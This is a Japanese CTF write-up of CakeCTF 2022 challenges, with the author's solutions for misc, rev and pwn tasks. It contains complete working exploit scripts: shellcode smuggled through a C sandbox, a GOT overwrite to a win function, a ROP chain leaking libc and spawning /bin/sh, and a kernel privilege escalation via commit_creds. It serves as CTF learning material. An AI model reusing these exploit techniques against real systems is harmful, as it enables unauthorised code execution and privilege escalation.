CakeCTF2022にKUDoSで参加して9位でした。
楽しさと悔しさと糸井重里
目次
misc
C-Sandbox
朝方に手をつけてかなり限界だったので何が禁止されているのかは調べてない。
とりあえずbring your own gadgetする。
flagからも第一の想定解だったと思う
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import * import sys
context(os='linux', arch='i386') context.log_level = 'debug'
HOST = "misc.2022.cakectf.com" PORT = 10099
conn = remote(HOST, PORT)
src = """ char binsh[] = "/bin/sh"; char **argv = {binsh, 0}; static void win() { unsigned long a= 0x9007eb00404038be; unsigned long b= 0x9008eb00404030bf; unsigned long c= 0x9090900aebd23148; unsigned long d= 0x90050f3bb0c03148; printf("%lx",a); printf("%lx",b); printf("%lx",c); printf("%lx",d); }; int main() { unsigned long ptr[2]; unsigned long tmp; tmp = ptr[5] - 0x24083; // libc address(not used) ptr[5] = (unsigned long)(win+10); return 0; } EOF """ def exploit(): conn.sendlineafter("input)\n", src) conn.recvuntil("Running...\n") conn.interactive()
if __name__ == "__main__": exploit()
|
discordでも解法大喜利始まってたので、まあ色々できるよね
rev
nimrev
eqString()の引数的にflagの長さは0x18
eqString()で呼ばれるequalMem_system_1735にbreakを仕掛けたら
gdbくんが教えてくれた
1 2 3 4 5 6
| equalMem_system_1735 ( $rdi = 0x00007ffff7d55060 -> 'AAAABBBBCCCCDDDDAAAABBBB', $rsi = 0x00007ffff7d560e0 -> 'CakeCTF{s0m3t1m3s_n0t_C}', $rdx = 0x0000000000000018, $rcx = 0x00007ffff7d55060 -> 'AAAABBBBCCCCDDDDAAAABBBB' )
|
luau
lua問
https://github.com/viruscamp/luadec
↑でダメdecompileがうまくいかねぇ〜と思ってたら
https://sourceforge.net/projects/unluac/
@Lorse氏が違う方法での変換コードを貼ってくれたのでそれを元に進める
decode.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #include <stdio.h> #include <stdlib.h> #include <string.h>
unsigned char table[38] = {62,85,25,84,47,56,118,71,109,0,90,71,115,9,30,58,32,101,40,20,66,111,3,92,119,22,90,11,119,35,61,102,102,115,87,89,34,34}; unsigned char key[] = "CakeCTF 2022"; unsigned char flag[0x100] = {0};
void main() { int i; for(i = 0; i < 38; i++){ flag[38-i-1] = key[i%strlen(key)] ^ table[i]; } puts(flag); }
|
zundamon
revパートだけ担当
source()内で/dev/input/以下の何かを入力として通信するタイプのマルウェアの問題
普通にgdbで実行するとデーモン化の処理でforkしている関係かうまくデバッグできないので
デーモン化する箇所をnopで書き換えてデバッグ
デバッグの結果/dev/input/event2が選択されていて、自分の環境でevent2はキーボードの入力だとわかった
キーボードの入力送っているわ〜ってdiscordに投げたら@Lorse氏からすぐflagが返ってきた
kiwi
ゴリ押しで暗号化処理を解読する。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * import sys
context(os='linux', arch='i386') context.log_level = 'debug'
HOST = "misc.2022.cakectf.com" PORT = 10044
conn = remote(HOST, PORT)
def exploit(): size = 0x40 payload = "01f389fbd70c" payload += "02" payload += '%02x'%size for i in range(size): payload += '%02x'%(0xff^i) payload += "00" conn.sendlineafter(": ",payload) conn.recvuntil("flag: ") e_flag = conn.recvline()[:-1] print(bytes.fromhex(str(e_flag,'utf-8'))) conn.interactive()
if __name__ == "__main__": exploit()
|
pwn
str.vs.cstr
_c_strのoverflowで_strのポインタを書き換えAAWが作れる
__stack_chk_fail@gotをwinに書き換え
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import * import sys
sys.path.append('/home/vagrant/kmpwn') from kmpwn import *
context(os='linux', arch='i386') context.log_level = 'debug'
FILE_NAME = "./chall"
HOST = "pwn1.2022.cakectf.com" PORT = 9003 """ HOST = "localhost" PORT = 7777 #"""
if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process(FILE_NAME)
elf = ELF(FILE_NAME) addr_win = 0x4016ee got_stack_chk_fail = elf.got["__stack_chk_fail"] only_ret = 0x40101a
def write_cstr(data): conn.sendlineafter(": ", "1") conn.sendlineafter(": ", data) def read_cstr(): conn.sendlineafter(": ", "2")
def write_str(data): conn.sendlineafter(": ", "3") conn.sendlineafter(": ", data)
def read_str(): conn.sendlineafter(": ", "4")
def exploit(): payload = b"A"*0x20 payload += p64(got_stack_chk_fail) payload += p64(0x8) payload += p64(0x8) write_cstr(payload) write_str(p64(only_ret)[:3])
payload = b"\x00"*0x68 payload += p64(addr_win) write_cstr(payload) conn.sendlineafter(": ", "99") conn.interactive()
if __name__ == "__main__": exploit()
|
welkerme
ついにwarmupにカーネル問が
と思ったが本当に初歩的な問題で丁寧な誘導もあるので全然warmup向きの問題。
exploit.c(抜粋)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| static void priv_escalation() { char* (*pkc)(int) = prepare_kernel_cred; void (*cc)(char*) = commit_creds; (*cc)((*pkc)(0)); }
int main(){ int fd = open("/dev/welkerme", O_RDWR); if( fd < 0){ err_exit("fuck"); } ioctl(fd, CMD_EXEC, priv_escalation); system("/bin/sh"); return 0; }
|
smal arey
AAWとstack領域を割と自由に書き換えれるので
exit@gotをpopx3_retみたいなgadgetにすると
いい感じにropに持ち込める
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| from pwn import * import sys
sys.path.append('/home/vagrant/kmpwn') from kmpwn import *
context(os='linux', arch='i386') context.log_level = 'debug'
FILE_NAME = "./chall"
HOST = "pwn1.2022.cakectf.com" PORT = 9002 """ HOST = "localhost" PORT = 7777 #"""
if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process(FILE_NAME)
elf = ELF(FILE_NAME) got_exit = elf.got["exit"] got_setbuf = elf.got["setbuf"] plt_printf = elf.plt["printf"] addr_start = elf.symbols["_start"] rdi_ret = 0x004013e3 pop3_ret = 0x004013de only_ret = 0x4013e4
libc = ELF('./libc-2.31.so') off_setbuf = libc.symbols["setbuf"] off_system = libc.symbols["system"] off_binsh = next(libc.search(b"/bin/sh"))
def overwrite(idx, n): conn.sendlineafter(": ", str(idx)) conn.sendlineafter(": ", str(n))
def exploit(): conn.sendlineafter(": ", "5") overwrite(4,200) overwrite(0,only_ret) overwrite(1,only_ret) overwrite(2,only_ret) overwrite(3,pop3_ret) overwrite(7,only_ret) overwrite(8,rdi_ret) overwrite(9,got_setbuf) overwrite(10,plt_printf) overwrite(11,addr_start)
overwrite(6,got_exit) overwrite(0,rdi_ret) conn.sendlineafter(": ", "201")
libc_setbuf = align2qword(conn.recv(6)) libc_base = libc_setbuf - off_setbuf print(hex(libc_base))
conn.sendlineafter(": ", "5") overwrite(4,200) overwrite(0,rdi_ret) overwrite(1,libc_base+off_binsh) overwrite(2,libc_base+off_system) conn.sendlineafter(": ", "201")
conn.interactive()
if __name__ == "__main__": exploit()
|
crc32pwn
解けなかった。
ulimitとか/proc/系のファイルでどうにかするのか〜とか疑ってたけど全然違った。
readがst_size分指定しないのかなり怪しいな〜とは思ってたが知識不足って感じ。
反省
おまけ
いつまで経っても脱初心者〜中堅帯を脱出できてなく、かつソロチーム、他の日本勢に結構負けてるのがマジでだめ
がんばります
thanks 一緒に参加してくれたチームメイト
@Lorse @ta1yak1 @k1zuna
KUDoSハイライト
同じ問題解いてて、なぜかチーム内で競走してた図